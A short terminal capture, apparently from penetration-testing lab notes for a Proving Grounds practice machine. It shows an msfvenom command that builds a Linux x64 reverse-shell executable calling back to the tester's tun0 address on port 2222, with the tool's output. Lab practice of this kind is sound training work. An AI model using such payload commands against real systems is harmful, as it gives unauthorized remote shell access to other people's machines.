msfvenom
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/roquefort]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=$tun0 LPORT=2222 -b "\x00" -f elf -o shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
Final size of elf file: 239 bytes
Saved as: shell
msfvenom generated a reverse shell executable